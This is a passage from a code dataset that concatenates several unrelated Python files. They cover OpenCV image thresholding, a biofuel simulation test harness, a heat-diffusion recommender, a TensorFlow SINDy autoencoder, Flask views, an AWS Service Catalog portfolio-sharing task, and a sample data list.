disk\")\n","sub_path":"scripts/single_image_models/APmodelling.py","file_name":"APmodelling.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"359701247","text":"import cv2\nimport numpy as np\nimport glob\n\nimageFilePaths = glob.glob(\"./cats_face_cut/**/*.jpg\")\n\n# あとでfor文に変える\nimageFilePath = imageFilePaths[0]\n\n# 画像の読み込み\nimg = cv2.imread(imageFilePath)\nhsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n# H,S,Vにsplit\nh_img, s_img, v_img = cv2.split(hsv)\ns_img = cv2.bitwise_not(s_img)\n\ncv2.imwrite(\"s_img.jpg\", s_img)\n\n# ヒストグラムの平坦化\nhist_s_img = cv2.equalizeHist(s_img)\n\n# 二値化\n_, result_bin = cv2.threshold(s_img, 200, 255, cv2.THRESH_BINARY)\n\ncv2.imwrite(\"result_bin.jpg\", result_bin)\n","sub_path":"contour.py","file_name":"contour.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"636736087","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n ENGG1811 Assignment 2 \n Purpose: You can use this program to test these two functions:\n (1) sim_biofuel\n (2) find_max_and_oscillation\n \n\"\"\"\nimport numpy as np \nimport pickle\nimport biofuel_simulation_design_parameter_sets as bsdps\nimport sim_biofuel as sb\nimport find_max_and_oscillation as fmo\n\n\n# Use the variable data_set_to_use to choose which parameter set you\n# want to use\ndata_set_to_use = 2 # Either 1 or 2\n\n# \n# PLEASE DO NOT CHANGE THIS SECTION\n# BEGIN - DO NOT CHANGE \n# The following line reads in the simulation parameters for data_set_to_use,\n# For example: time increment and other parameters you need for simulation\nsimulation_design_para = bsdps.biofuel_simulation_design_parameter_sets(data_set_to_use)\n\n# Initial (normalised) amount of bateria \nINITIAL_BACTERIA_AMOUNT = simulation_design_para['INITIAL_BACTERIA_AMOUNT' ] \n# Simulation start and end times, simulation time interval\nTIME_START = simulation_design_para['TIME_START' ] # Start time\nTIME_END = simulation_design_para['TIME_END' ] # End time\nTIME_DELTA = simulation_design_para['TIME_DELTA' ] # Delta t \n# alpha_b: Lower and upper limits, number of points \nALPHA_B_EXP_LOWER = simulation_design_para['ALPHA_B_EXP_LOWER'] \nALPHA_B_EXP_UPPER = simulation_design_para['ALPHA_B_EXP_UPPER']\nALPHA_B_NUMBER_POINTS = simulation_design_para['ALPHA_B_NUMBER_POINTS'] \n# alpha_p: Lower and upper limits, step size \nALPHA_P_LOWER = simulation_design_para['ALPHA_P_LOWER'] \nALPHA_P_UPPER = simulation_design_para['ALPHA_P_UPPER'] \nALPHA_P_STEP = simulation_design_para['ALPHA_P_STEP'] \n# Design parameters for biofuel system \n# Upper limit on the amount of internal fuel\nTHRESHOLD_MAX_INTERNAL_FUEL = simulation_design_para['THRESHOLD_MAX_INTERNAL_FUEL'] \n# Upper limit on the amount of oscillation \nTHRESHOLD_MAX_OSCILLATION_INTERNAL_FUEL = simulation_design_para['THRESHOLD_MAX_OSCILLATION_INTERNAL_FUEL']\n#\n## Load the data for checking, Read from file\ndata_cheking_file = open('set'+ str(data_set_to_use) + '_check.pickle', 'rb')\ndata_checking = pickle.load(data_cheking_file) \ndata_cheking_file.close()\n# END - DO NOT CHANGE \n\n\n## Preliminary code for simulation \n# Time array\ntime_array = np.arange(TIME_START, TIME_END + TIME_DELTA/2, TIME_DELTA)\nnum_time_points = len(time_array) \n\n# Three different pairs of (alpha_b,alpha_p)\nalpha_b_test = np.array([0.01623777, 0.14384499, 1.00 ])\nalpha_p_test = np.array([0.07, 0.06, 0.05 ])\n## You can choose between three different pairs of (alpha_b,alpha_p)\n# by specifying the variable test_index to 0, 1, or 2 \ntest_index = 2 # Use 0, 1, 2 \n# Get the alpha_b and alpha_p for test_index \nalpha_b = alpha_b_test[test_index] \nalpha_p = alpha_p_test[test_index] \n\n# Simulation \nbacteria_amount_array,sensor_array,pump_array,biofuel_int_array,biofuel_ext_array = \\\n sb.sim_biofuel(data_set_to_use,time_array,INITIAL_BACTERIA_AMOUNT,alpha_b,alpha_p) \n \n# Compare your simulation result aginst the benchmark \nmax_diff_bacteria = max(abs(np.subtract(bacteria_amount_array, data_checking['bacteria_check'][:,test_index] ))) \nmax_diff_sensor = max(abs(np.subtract(sensor_array, data_checking['sensor_check'][:,test_index])) )\nmax_diff_pump = max(abs(np.subtract(pump_array, data_checking['pump_check'][:,test_index] )) )\nmax_diff_biofuel_int = max(abs(np.subtract(biofuel_int_array, data_checking['biofuel_int_check'][:,test_index])) )\nmax_diff_biofuel_ext = max(abs(np.subtract(biofuel_ext_array, data_checking['biofuel_ext_check'][:,test_index])) )\n# The difference should be small \nprint('Maximu difference in the amount of bacteria = ' + str(max_diff_bacteria) )\nprint('Maximu difference in the sensor = ' + str(max_diff_sensor) )\nprint('Maximu difference in the number of pumps = ' + str(max_diff_pump) )\nprint('Maximu difference in the internal biofuel = ' + str(max_diff_biofuel_int) )\nprint('Maximu difference in the external biofuel = ' + str(max_diff_biofuel_ext) )\n\n\n## Test 1B below\n#\n# You can use the following code to test the function find_max_and_oscillation\n# You need to comment out the following 5 lines to run the test \nmax_internal_fuel, oscillation_internal_fuel = fmo.find_max_and_oscillation(biofuel_int_array) \ndiffmax_internal_fuel = abs(max_internal_fuel - data_checking['max_biofuel_int_check'][test_index]) \ndiff_oscillation_internal_fuel = abs(oscillation_internal_fuel - data_checking['oscillation_biofuel_int_check'][test_index]) \n \nprint('Difference in the maximum amount of internal biofuel = ' + str(diffmax_internal_fuel) )\nprint('Difference in the amount of oscillation of internal biofuel = ' + str(diff_oscillation_internal_fuel) )\n","sub_path":"test_1A_1B.py","file_name":"test_1A_1B.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"616781779","text":"import sys\nfrom bisect import bisect_left\n\nclass Net:\n def __init__(self, _node = 0):\n self.node = _node\n self.degree = 0\n self.neighbor = []\n self.value = 0.0\n\n def __lt__(self, other):\n return self.node < other.node\n\ndef input_for_check(direction):\n link_left, link_right, purchase_date = [], [], []\n with open('check.txt', 'r') as file:\n for line in file:\n line = line.split()\n link_left.append(int(line[0]))\n link_right.append(int(line[1]))\n # purchase_date.append(int(line[2])) #in original C file parameter is passed to network_making but is not used\n\n left = node_input(link_left)\n right = node_input(link_right)\n\n network_making(link_left, link_right, left, right)\n size_check = len(left)\n ret_list = right if direction else left\n return ret_list, size_check\n\n\ndef recommendation(user, item_rank):\n expect_collect = 0\n idx = list(range(0, len(item_rank)))\n\n check, size_check = input_for_check(0)\n result = open('result.txt', 'w')\n\n rank_temp = item_rank[:]\n\n quick_sort_dual(idx, rank_temp, len(item_rank))\n rank_seq = rank_temp[:]\n\n for u in user:\n length = number_recommend\n recommend_table = item_rank[:]\n\n for i in range(0, u.degree):\n k = binary_search_raw(rank_seq, u.neighbor[i])\n recommend_table[idx[k]] = 0\n length += 1\n\n k = binary_search_raw([n.node for n in check], u.node)\n if k != -1:\n for i in range(0, check[k].degree):\n l = binary_search_raw(rank_seq, check[k].neighbor[i])\n if l != -1 and idx[l] < length and recommend_table[idx[l]]:\n expect_collect += 1\n\n result.write(str(u.node) + '\\t')\n for j in range(0, length):\n if recommend_table[j]:\n result.write(str(recommend_table[j]) + '\\t')\n result.write('\\n')\n\n print(\"%s\\t%s\\n\" % (number_recommend, expect_collect))\n\n\ndef quick_sort_dual(ar1, ar2, num, begin = 0):\n if num <= 1:\n return\n\n key = ar2[begin + num-1]\n left = begin\n right = begin + num - 2\n while True:\n while ar2[left] < key:\n left += 1\n while ar2[right] > key:\n right -= 1\n if left >= right:\n break\n ar1[left], ar1[right] = ar1[right], int(ar1[left])\n ar2[left], ar2[right] = ar2[right], int(ar2[left])\n left += 1\n right -= 1\n\n ar1[left], ar1[begin + num - 1] = ar1[begin + num - 1], int(ar1[left])\n ar2[left], ar2[begin + num - 1] = ar2[begin + num - 1], int(ar2[left])\n\n quick_sort_dual(ar1, ar2, left - begin, begin)\n quick_sort_dual(ar1, ar2, num - left + begin - 1, left + 1,)\n\n\ndef ranking(list):\n id, value = [], []\n\n for l in list:\n id.append(l.node)\n value.append(l.value)\n\n quick_sort_dual(id, value, len(id))\n return id\n\n\ndef heat_diffusion(center, proj):\n center_nodes = [n.node for n in center]\n proj_nodes = [n.node for n in proj]\n indexes = []\n for c in center:\n for d in range(0, c.degree):\n indexes.append(binary_search_raw(proj_nodes, c.neighbor[d]))\n c.value += (proj[indexes[-1]].degree - 1)\n\n i = 0\n for c in center:\n for d in range(0, c.degree):\n proj[indexes[i]].value += (c.value / c.degree)\n i += 1\n\n for c in center:\n c.value = 0\n\n for p in proj:\n for d in range(0, p.degree):\n index = binary_search_raw(center_nodes, p.neighbor[d])\n center[index].value += (p.value / p.degree)\n\n for p in proj:\n p.value = 0\n\n\ndef binary_search_raw(ar, key):\n index = bisect_left(ar, key)\n if index != len(ar) and ar[index] == key:\n return index\n return -1\n\n\ndef network_making(link_left, link_right, left, right):\n assert len(link_left) == len(link_right)\n\n left_nodes = [n.node for n in left]\n right_nodes = [n.node for n in right]\n\n for link_l, link_r in zip(link_left, link_right):\n net_index = binary_search_raw(left_nodes, link_l)\n left[net_index].neighbor.append(link_r)\n left[net_index].degree += 1\n\n net_index = binary_search_raw(right_nodes, link_r)\n right[net_index].neighbor.append(link_l)\n right[net_index].degree += 1\n\n\ndef node_input(non_unique_list):\n unique_list = set(non_unique_list)\n net_list = []\n for number in unique_list:\n net_list.append(Net(number))\n return sorted(net_list)\n\nnumber_recommend = int(sys.argv[1]) if len(sys.argv) > 1 else 0\n\nlink_left, link_right, purchase_date = [], [], []\nwith open('training.txt', 'r') as file:\n for line in file:\n line = line.split()\n link_left.append(int(line[0]))\n link_right.append(int(line[1]))\n #purchase_date.append(int(line[2])) #in original C file parameter is passed to network_making but is not used\n\nleft = node_input(link_left)\nright = node_input(link_right)\n\nnetwork_making(link_left, link_right, left, right)\nheat_diffusion(right, left)\nitem_rank = ranking(right)\nrecommendation(left, item_rank)","sub_path":"Nbi.py","file_name":"Nbi.py","file_ext":"py","file_size_in_byte":5130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"114910583","text":"import tensorflow as tf\n\n\ndef full_network(params):\n N = params['N']\n d = params['d']\n activation = params['activation']\n poly_order = params['poly_order']\n if 'include_sine' in params.keys():\n include_sine = params['include_sine']\n else:\n include_sine = False\n l = params['l']\n model_order = params['model_order']\n\n network = {}\n\n x = tf.placeholder(tf.float32, shape=[None, N], name='x')\n dx = tf.placeholder(tf.float32, shape=[None, N], name='dx')\n if model_order == 2:\n ddx = tf.placeholder(tf.float32, shape=[None, N], name='ddx')\n\n if activation == 'linear':\n z, x_decode, encoder_weights, encoder_biases, decoder_weights, decoder_biases = linear_autoencoder(x, N, d)\n else:\n z, x_decode, encoder_weights, encoder_biases, decoder_weights, decoder_biases = nonlinear_autoencoder(x, N, d, params['widths'], activation=activation)\n \n if model_order == 1:\n dz = z_derivative(x, dx, encoder_weights, encoder_biases, activation=activation)\n Theta = sindy_library_tf(z, d, poly_order, include_sine)\n else:\n dz,ddz = z_derivative_order2(x, dx, ddx, encoder_weights, encoder_biases, activation=activation)\n Theta = sindy_library_tf_order2(z, dz, d, poly_order, include_sine)\n\n if params['coefficient_initialization'] == 'xavier':\n Xi = tf.get_variable('Xi', shape=[l,d], initializer=tf.contrib.layers.xavier_initializer())\n elif params['coefficient_initialization'] == 'specified':\n Xi = tf.get_variable('Xi', initializer=params['init_coefficients'])\n elif params['coefficient_initialization'] == 'constant':\n Xi = tf.get_variable('Xi', shape=[l,d], initializer=tf.constant_initializer(1.0))\n elif params['coefficient_initialization'] == 'normal':\n Xi = tf.get_variable('Xi', shape=[l,d], initializer=tf.initializers.random_normal())\n \n if params['sequential_thresholding']:\n coefficient_mask = tf.placeholder(tf.float32, shape=[l,d], name='coefficient_mask')\n sindy_predict = tf.matmul(Theta, coefficient_mask*Xi)\n network['coefficient_mask'] = coefficient_mask\n else:\n sindy_predict = tf.matmul(Theta, Xi)\n\n if model_order == 1:\n dx_decode = z_derivative(z, sindy_predict, decoder_weights, decoder_biases, activation=activation)\n else:\n dx_decode,ddx_decode = z_derivative_order2(z, dz, sindy_predict, decoder_weights, decoder_biases,\n activation=activation)\n\n network['x'] = x\n network['dx'] = dx\n network['z'] = z\n network['dz'] = dz\n network['x_decode'] = x_decode\n network['dx_decode'] = dx_decode\n network['encoder_weights'] = encoder_weights\n network['encoder_biases'] = encoder_biases\n network['decoder_weights'] = decoder_weights\n network['decoder_biases'] = decoder_biases\n network['Theta'] = Theta\n network['Xi'] = Xi\n\n if model_order == 1:\n network['dz_predict'] = sindy_predict\n else:\n network['ddz'] = ddz\n network['ddz_predict'] = sindy_predict\n network['ddx'] = ddx\n network['ddx_decode'] = ddx_decode\n\n return network\n\n\ndef define_loss(network, params):\n x = network['x']\n x_decode = network['x_decode']\n if params['model_order'] == 1:\n dz = network['dz']\n dz_predict = network['dz_predict']\n dx = network['dx']\n dx_decode = network['dx_decode']\n else:\n ddz = network['ddz']\n ddz_predict = network['ddz_predict']\n ddx = network['ddx']\n ddx_decode = network['ddx_decode']\n Xi = network['Xi']\n\n losses = {}\n losses['decoder'] = tf.reduce_mean((x - x_decode)**2)\n if params['model_order'] == 1:\n losses['sindy_z'] = tf.reduce_mean((dz - dz_predict)**2)\n losses['sindy_x'] = tf.reduce_mean((dx - dx_decode)**2)\n else:\n losses['sindy_z'] = tf.reduce_mean((ddz - ddz_predict)**2)\n losses['sindy_x'] = tf.reduce_mean((ddx - ddx_decode)**2)\n losses['sindy_regularization'] = tf.reduce_mean(tf.abs(Xi))\n loss = params['loss_weight_decoder'] * losses['decoder'] \\\n + params['loss_weight_sindy_z'] * losses['sindy_z'] \\\n + params['loss_weight_sindy_x'] * losses['sindy_x'] \\\n + params['loss_weight_sindy_regularization'] * losses['sindy_regularization']\n\n loss_refinement = params['loss_weight_decoder'] * losses['decoder'] \\\n + params['loss_weight_sindy_z'] * losses['sindy_z'] \\\n + params['loss_weight_sindy_x'] * losses['sindy_x']\n\n return loss, losses, loss_refinement\n\n\ndef linear_autoencoder(x, N, d):\n z,encoder_weights,encoder_biases = encoder(x, N, d, [], None, 'encoder')\n x_decode,decoder_weights,decoder_biases = decoder(z, N, d, [], None, 'decoder')\n\n return z, x_decode, encoder_weights, encoder_biases,decoder_weights,decoder_biases\n\n\ndef nonlinear_autoencoder(x, N, d, widths, activation='elu'):\n if activation == 'relu':\n activation_function = tf.nn.relu\n elif activation == 'elu':\n activation_function = tf.nn.elu\n elif activation == 'sigmoid':\n activation_function = tf.sigmoid\n else:\n raise ValueError('invalid activation function')\n z,encoder_weights,encoder_biases = encoder(x, N, d, widths, activation_function, 'encoder')\n x_decode,decoder_weights,decoder_biases = decoder(z, N, d, widths[::-1], activation_function, 'decoder')\n\n return z, x_decode, encoder_weights, encoder_biases, decoder_weights, decoder_biases\n\n\ndef encoder(input, N, d, widths, activation, name, training_mode=False):\n weights = []\n biases = []\n last_width=N\n for i,n_units in enumerate(widths):\n W = tf.get_variable(name+'_W'+str(i), shape=[last_width,n_units],\n initializer=tf.contrib.layers.xavier_initializer())\n b = tf.get_variable(name+'_b'+str(i), shape=[n_units],\n initializer=tf.constant_initializer(0.0))\n input = tf.matmul(input, W) + b\n if activation is not None:\n input = activation(input)\n last_width = n_units\n weights.append(W)\n biases.append(b)\n W = tf.get_variable(name+'_W'+str(len(widths)), shape=[last_width,d],\n initializer=tf.contrib.layers.xavier_initializer())\n b = tf.get_variable(name+'_b'+str(len(widths)), shape=[d],\n initializer=tf.constant_initializer(0.0))\n input = tf.matmul(input,W) + b\n weights.append(W)\n biases.append(b)\n return input, weights, biases\n\n\ndef decoder(input, N, d, widths, activation, name, training_mode=False):\n weights = []\n biases = []\n last_width=d\n for i,n_units in enumerate(widths):\n W = tf.get_variable(name+'_W'+str(i), shape=[last_width,n_units],\n initializer=tf.contrib.layers.xavier_initializer())\n b = tf.get_variable(name+'_b'+str(i), shape=[n_units],\n initializer=tf.constant_initializer(0.0))\n input = tf.matmul(input, W) + b\n if activation is not None:\n input = activation(input)\n last_width = n_units\n weights.append(W)\n biases.append(b)\n W = tf.get_variable(name+'_W'+str(len(widths)), shape=[last_width,N],\n initializer=tf.contrib.layers.xavier_initializer())\n b = tf.get_variable(name+'_b'+str(len(widths)), shape=[N],\n initializer=tf.constant_initializer(0.0))\n input = tf.matmul(input,W) + b\n weights.append(W)\n biases.append(b)\n return input, weights, biases\n\n\ndef sindy_library_tf(z, d, poly_order, include_sine=False):\n library = [tf.ones(tf.shape(z)[0])]\n\n for i in range(d):\n library.append(z[:,i])\n\n if poly_order > 1:\n for i in range(d):\n for j in range(i,d):\n library.append(tf.multiply(z[:,i], z[:,j]))\n\n if poly_order > 2:\n for i in range(d):\n for j in range(i,d):\n for k in range(j,d):\n library.append(z[:,i]*z[:,j]*z[:,k])\n\n if poly_order > 3:\n for i in range(d):\n for j in range(i,d):\n for k in range(j,d):\n for p in range(k,d):\n library.append(z[:,i]*z[:,j]*z[:,k]*z[:,p])\n\n if poly_order > 4:\n for i in range(d):\n for j in range(i,d):\n for k in range(j,d):\n for p in range(k,d):\n for q in range(p,d):\n library.append(z[:,i]*z[:,j]*z[:,k]*z[:,p]*z[:,q])\n\n if include_sine:\n for i in range(d):\n library.append(tf.sin(z[:,i]))\n\n return tf.stack(library, axis=1)\n\n\ndef sindy_library_tf_order2(z, dz, d, poly_order, include_sine=False):\n library = [tf.ones(tf.shape(z)[0])]\n\n z_combined = tf.concat([z, dz], 1)\n\n for i in range(2*d):\n library.append(z_combined[:,i])\n\n if poly_order > 1:\n for i in range(2*d):\n for j in range(i,2*d):\n library.append(tf.multiply(z_combined[:,i], z_combined[:,j]))\n\n if poly_order > 2:\n for i in range(2*d):\n for j in range(i,2*d):\n for k in range(j,2*d):\n library.append(z_combined[:,i]*z_combined[:,j]*z_combined[:,k])\n\n if poly_order > 3:\n for i in range(2*d):\n for j in range(i,2*d):\n for k in range(j,2*d):\n for p in range(k,2*d):\n library.append(z_combined[:,i]*z_combined[:,j]*z_combined[:,k]*z_combined[:,p])\n\n if poly_order > 4:\n for i in range(2*d):\n for j in range(i,2*d):\n for k in range(j,2*d):\n for p in range(k,2*d):\n for q in range(p,2*d):\n library.append(z_combined[:,i]*z_combined[:,j]*z_combined[:,k]*z_combined[:,p]*z_combined[:,q])\n\n if include_sine:\n for i in range(2*d):\n library.append(tf.sin(z_combined[:,i]))\n\n return tf.stack(library, axis=1)\n\n\ndef z_derivative(input, dx, weights, biases, activation='elu'):\n dz = dx\n if activation == 'elu':\n for i in range(len(weights)-1):\n input = tf.matmul(input, weights[i]) + biases[i]\n dz = tf.multiply(tf.minimum(tf.exp(input),1.0),\n tf.matmul(dz, weights[i]))\n input = tf.nn.elu(input)\n dz = tf.matmul(dz, weights[-1])\n elif activation == 'relu':\n for i in range(len(weights)-1):\n input = tf.matmul(input, weights[i]) + biases[i]\n dz = tf.multiply(tf.to_float(input>0), tf.matmul(dz, weights[i]))\n input = tf.nn.relu(input)\n dz = tf.matmul(dz, weights[-1])\n elif activation == 'sigmoid':\n for i in range(len(weights)-1):\n input = tf.matmul(input, weights[i]) + biases[i]\n input = tf.sigmoid(input)\n dz = tf.multiply(tf.multiply(input, 1-input), tf.matmul(dz, weights[i]))\n dz = tf.matmul(dz, weights[-1])\n else:\n for i in range(len(weights)-1):\n dz = tf.matmul(dz, weights[i])\n dz = tf.matmul(dz, weights[-1])\n return dz\n\n\ndef z_derivative_order2(input, dx, ddx, weights, biases, activation='elu'):\n dz = dx\n ddz = ddx\n if activation == 'elu':\n for i in range(len(weights)-1):\n input = tf.matmul(input, weights[i]) + biases[i]\n dz_prev = tf.matmul(dz, weights[i])\n elu_derivative = tf.minimum(tf.exp(input),1.0)\n elu_derivative2 = tf.multiply(tf.exp(input), tf.to_float(input<0))\n dz = tf.multiply(elu_derivative, dz_prev)\n ddz = tf.multiply(elu_derivative2, tf.square(dz_prev)) \\\n + tf.multiply(elu_derivative, tf.matmul(ddz, weights[i]))\n input = tf.nn.elu(input)\n dz = tf.matmul(dz, weights[-1])\n ddz = tf.matmul(ddz, weights[-1])\n elif activation == 'relu':\n # NOTE: currently having trouble assessing accuracy of 2nd derivative due to discontinuity\n for i in range(len(weights)-1):\n input = tf.matmul(input, weights[i]) + biases[i]\n relu_derivative = tf.to_float(input>0)\n dz = tf.multiply(relu_derivative, tf.matmul(dz, weights[i]))\n ddz = tf.multiply(relu_derivative, tf.matmul(ddz, weights[i]))\n input = tf.nn.relu(input)\n dz = tf.matmul(dz, weights[-1])\n ddz = tf.matmul(ddz, weights[-1])\n elif activation == 'sigmoid':\n for i in range(len(weights)-1):\n input = tf.matmul(input, weights[i]) + biases[i]\n input = tf.sigmoid(input)\n dz_prev = tf.matmul(dz, weights[i])\n sigmoid_derivative = tf.multiply(input, 1-input)\n sigmoid_derivative2 = tf.multiply(sigmoid_derivative, 1 - 2*input)\n dz = tf.multiply(sigmoid_derivative, dz_prev)\n ddz = tf.multiply(sigmoid_derivative2, tf.square(dz_prev)) \\\n + tf.multiply(sigmoid_derivative, tf.matmul(ddz, weights[i]))\n dz = tf.matmul(dz, weights[-1])\n ddz = tf.matmul(ddz, weights[-1])\n else:\n for i in range(len(weights)-1):\n dz = tf.matmul(dz, weights[i])\n ddz = tf.matmul(ddz, weights[i])\n dz = tf.matmul(dz, weights[-1])\n ddz = tf.matmul(ddz, weights[-1])\n return dz,ddz\n\n\ndef reduce_var(x, axis=None, keepdims=False):\n m = tf.reduce_mean(x, axis=axis, keepdims=True)\n devs_squared = tf.square(x - m)\n return tf.reduce_mean(devs_squared, axis=axis, keepdims=keepdims)\n","sub_path":"autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":13475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"227635152","text":"#!flask/Scripts/python\n# -*- coding: utf-8 -*-\nfrom app import app\nfrom flask import render_template,flash,redirect\nfrom .forms import LoginForm\n#登录的视图函数\n@app.route('/login',methods = ['GET','POST'])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n flash('Login requested for OpenID=\"'+ form.openid.data + '\",remember_me=' + str(form.remember_me.data))\n return redirect('/index')\n return render_template('login.html',title = 'Sign In',form = form,providers = app.config['OPENID_PROVIDERS'])\n\n#首页的视图函数\n@app.route('/')\n@app.route('/index') #当出现视图函数改变而页面没有改变的情况时看看资源管理器里是否有多个后台运行的python.py程序,关闭即可\ndef index():\n user = {'nickname':'jochen'} #fake user\n posts = [\n {'author':{'nickname':'jochen'},\n 'body':'beautiful day in shanghai'},\n {'author':{'nickname':'bob'},\n 'body':'flask web'},\n {'author': {'nickname': 'jam'},\n 'body': 'the movie was so cool!'},\n {'author': {'nickname': 'jack'},\n 'body': 'is active'},\n {'author': {'nickname': 'lisa'},\n 'body': 'scrapy'}\n ]\n return render_template(\"index.html\",title = 'Home',user = user,posts = posts)\n\n\n# def index():\n# user = {'nickname':'Miguel'} #fake user\n# return'''\n# \n# \n# Home Page\n# \n# \n#
Hello,'''+user['nickname']+'''
\n# \n# \n# '''\n@app.route('/article/')\ndef article(id):\n return u'您请求的参数id为:%s' % id\n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"283433954","text":"# Copyright 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n# SPDX-License-Identifier: Apache-2.0\n\nimport luigi\n\nfrom servicecatalog_puppet import config\nfrom servicecatalog_puppet import constants\nfrom servicecatalog_puppet.workflow.manifest import manifest_mixin\nfrom servicecatalog_puppet.workflow.portfolio.accessors import (\n get_portfolio_by_portfolio_name_task,\n)\nfrom servicecatalog_puppet.workflow.portfolio.portfolio_management import (\n portfolio_management_task,\n)\nfrom servicecatalog_puppet.workflow.portfolio.sharing_management import (\n share_portfolio_task,\n)\nfrom servicecatalog_puppet.workflow.portfolio.sharing_management import (\n share_portfolio_via_orgs_task,\n)\n\n\nclass ShareAndAcceptPortfolioTask(\n portfolio_management_task.PortfolioManagementTask, manifest_mixin.ManifestMixen\n):\n account_id = luigi.Parameter()\n region = luigi.Parameter()\n portfolio = luigi.Parameter()\n puppet_account_id = luigi.Parameter()\n sharing_mode = luigi.Parameter()\n\n def params_for_results_display(self):\n return {\n \"puppet_account_id\": self.puppet_account_id,\n \"portfolio\": self.portfolio,\n \"region\": self.region,\n \"account_id\": self.account_id,\n \"sharing_mode\": self.sharing_mode,\n }\n\n def requires(self):\n requirements = dict(\n portfolio=get_portfolio_by_portfolio_name_task.GetPortfolioByPortfolioName(\n manifest_file_path=self.manifest_file_path,\n puppet_account_id=self.puppet_account_id,\n portfolio=self.portfolio,\n account_id=self.puppet_account_id,\n region=self.region,\n )\n )\n if self.sharing_mode == constants.SHARING_MODE_AWS_ORGANIZATIONS:\n ou_to_share_with = self.manifest.get_account(self.account_id).get(\n \"expanded_from\"\n )\n if ou_to_share_with is None:\n self.warning(\n f\"Sharing {self.portfolio} with {self.account_id} not using orgs as there is no OU set for it\"\n )\n requirements[\"share\"] = share_portfolio_task.SharePortfolioTask(\n manifest_file_path=self.manifest_file_path,\n portfolio=self.portfolio,\n account_id=self.account_id,\n region=self.region,\n puppet_account_id=self.puppet_account_id,\n )\n else:\n requirements[\n \"share\"\n ] = share_portfolio_via_orgs_task.SharePortfolioViaOrgsTask(\n manifest_file_path=self.manifest_file_path,\n portfolio=self.portfolio,\n region=self.region,\n puppet_account_id=self.puppet_account_id,\n ou_to_share_with=ou_to_share_with,\n )\n\n else:\n requirements[\"share\"] = share_portfolio_task.SharePortfolioTask(\n manifest_file_path=self.manifest_file_path,\n portfolio=self.portfolio,\n account_id=self.account_id,\n region=self.region,\n puppet_account_id=self.puppet_account_id,\n )\n return requirements\n\n def api_calls_used(self):\n return [\n f\"servicecatalog.list_accepted_portfolio_shares_single_page{self.account_id}_{self.region}\",\n f\"servicecatalog.accept_portfolio_share{self.account_id}_{self.region}\",\n f\"servicecatalog.associate_principal_with_portfolio{self.account_id}_{self.region}\",\n f\"servicecatalog.list_principals_for_portfolio{self.account_id}_{self.region}\",\n ]\n\n def run(self):\n portfolio = self.load_from_input(\"portfolio\")\n portfolio_id = portfolio.get(\"portfolio_id\")\n\n with self.spoke_regional_client(\n \"servicecatalog\"\n ) as cross_account_servicecatalog:\n if self.sharing_mode != constants.SHARING_MODE_AWS_ORGANIZATIONS:\n was_accepted = False\n accepted_portfolio_shares = cross_account_servicecatalog.list_accepted_portfolio_shares_single_page().get(\n \"PortfolioDetails\"\n )\n for accepted_portfolio_share in accepted_portfolio_shares:\n if accepted_portfolio_share.get(\"Id\") == portfolio_id:\n was_accepted = True\n break\n if not was_accepted:\n self.info(f\"{self.uid}: accepting {portfolio_id}\")\n cross_account_servicecatalog.accept_portfolio_share(\n PortfolioId=portfolio_id\n )\n\n principals_for_portfolio = cross_account_servicecatalog.list_principals_for_portfolio_single_page(\n PortfolioId=portfolio_id\n ).get(\n \"Principals\"\n )\n puppet_role_needs_associating = True\n principal_to_associate = config.get_puppet_role_arn(self.account_id)\n self.info(f\"Checking if {principal_to_associate} needs to be associated\")\n for principal_for_portfolio in principals_for_portfolio:\n self.info(\n f\"comparing {principal_to_associate} to {principal_for_portfolio.get('PrincipalARN')}\"\n )\n if (\n principal_for_portfolio.get(\"PrincipalARN\")\n == principal_to_associate\n ):\n self.info(\"found a match!! no longer going to add\")\n puppet_role_needs_associating = False\n\n if puppet_role_needs_associating:\n cross_account_servicecatalog.associate_principal_with_portfolio(\n PortfolioId=portfolio_id,\n PrincipalARN=principal_to_associate,\n PrincipalType=\"IAM\",\n )\n\n self.write_output(self.param_kwargs)\n","sub_path":"servicecatalog_puppet/workflow/portfolio/sharing_management/share_and_accept_portfolio_task.py","file_name":"share_and_accept_portfolio_task.py","file_ext":"py","file_size_in_byte":6012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"42604264","text":"import datetime\r\n\r\nchildren = [\r\n {\r\n 'firstname': 'John Francis',\r\n 'lastname': 'Olivo',\r\n 'birthplace': 'Marikina City',\r\n 'birthdate': datetime.datetime(1998, 9, 8, 11, 24, 53, 559207),\r\n 'age': 20,\r\n 'street': 'NHA Ave.',\r\n 'city': 'Antipolo',\r\n 'province': 'Rizal',\r\n 'country': 'Philippines',\r\n 'gender': 'M'\r\n },\r\n {\r\n 'firstname': 'Christian',\r\n 'lastname': 'Olivo',\r\n 'birthplace': 'Quezon City',\r\n 'birthdate': datetime.datetime(2000, 9, 16, 11, 24, 53, 559207),\r\n 'age': 20,\r\n 'street': 'NHA Ave.',\r\n 'city': 'Antipolo',\r\n 'province': 'Rizal',\r\n 'country': 'Philippines',\r\n 'gender': 'M'\r\n },\r\n {\r\n 'firstname': 'Clarizza',\r\n 'lastname': 'Olivo',\r\n 'birthplace': 'Quezon City',\r\n 'birthdate': datetime.datetime(2003, 2, 1, 11, 24, 53, 559207),\r\n 'age': 20,\r\n 'street': 'NHA Ave.',\r\n 'city': 'Antipolo',\r\n 'province': 'Rizal',\r\n 'country': 'Philippines',\r\n 'gender': 'F'\r\n }\r\n]\r\n\r\ncontact = [\r\n {\r\n 'mobile_no': '09173178505',\r\n 'telephone_no': 